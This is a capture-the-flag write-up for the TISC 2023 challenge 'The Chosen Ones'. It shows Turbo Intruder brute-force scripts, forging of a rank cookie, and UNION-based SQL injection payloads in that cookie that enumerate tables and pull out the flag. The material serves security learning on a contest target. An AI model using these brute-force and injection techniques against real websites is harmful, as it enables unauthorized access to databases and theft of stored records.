TISC 2023 - (Level 6b) The Chosen Ones
Description
We have discovered PALINDROME’s recruitment site. Infiltrate it and see what you can find!
Solution
The website is shown as below:
After a number is submitted, it then mentions the correct lucky number.
My first guess was that the lucky numbers may repeat themselves at some point in time, so I decided to use the Turbo Intruder extension in Burp suite to make multiple submissions so that I test whether my guess was right:
Since the number is submitted via the entry
URL parameter, its value is set to %s
like so in Turbo Intruder:
1
GET /index.php?entry=%s HTTP/1.1
Here is the Turbo Intruder script I used:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=10,
pipeline=False
)
for i in range(1, 1000000):
engine.queue(target.req, i)
def handleResponse(req, interesting):
import re
if interesting:
req.label = "Lucky number: " + re.findall(r"Too bad. The lucky number was (\d+)", req.response)[0]
table.add(req)
The Turbo Intruder script was then executed and the results are shown below:
Here, it can be observed that my guess was correct as a few numbers were seen to be repeating. Among these numbers, the lucky number 989691
was chosen and the Turbo Intruder script was updated so only submit this number until I got it right:
1
2
3
4
5
6
7
8
9
10
11
12
13
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=10,
pipeline=False
)
for i in range(1, 1000000):
engine.queue(target.req, 989691)
def handleResponse(req, interesting):
if interesting:
table.add(req)
The Turbo Intruder script was then executed and the results are shown below:
Based on this, it could be concluded that if the lucky number is correct, the website adds a cookie rank=0
and redirects the browser to main.php
. After adding the rank=0
to the browser like so:
The /main.php
page is then visited:
The page allowed for the filtering of the first name and last name of the personnel records. Testing various SQL injection payloads in these fields did not work as the website seemed to be blocking them.
However, I also observed that the rank of all of these personnel returned seemed to coincide with the value of the rank
cookie in the browser. If the value of the rank
cookie is set to 1 like so:
The page now returns even more personnel records, some with rank 0 and rank 1. This meant the page was also filtering for records that have a rank
less than or equals to the value of the rank
cookie:
SQL injection payloads were then tested on the rank
cookie and it was discovered to be SQL-injectable. The next step was figuring out the number of columns:
1
2
3
4
rank=-1 UNION SELECT null -- => 500 Internal Server Error
rank=-1 UNION SELECT null,null -- => 500 Internal Server Error
rank=-1 UNION SELECT null,null,null -- => 500 Internal Server Error
rank=-1 UNION SELECT null,null,null,null -- => 200 OK
The number of columns was 4. The flag was likely stored in another table in the database, hence the next step was viewing all tables names:
1
rank=-1 UNION SELECT TABLE_NAME,null,null,null from information_schema.tables --
Knowing that the table was CTF_SECRET
, the next step was viewing all column names:
1
rank=-1 UNION SELECT COLUMN_NAME,null,null,null from information_schema.columns where TABLE_NAME = 'CTF_SECRET' --
Now that the table name and column name were known, the final step would be to retrieve the flag:
1
rank=-1 UNION SELECT flag,null,null,null from CTF_SECRET --
Flag
TISC{Y0u_4rE_7h3_CH0s3n_0nE}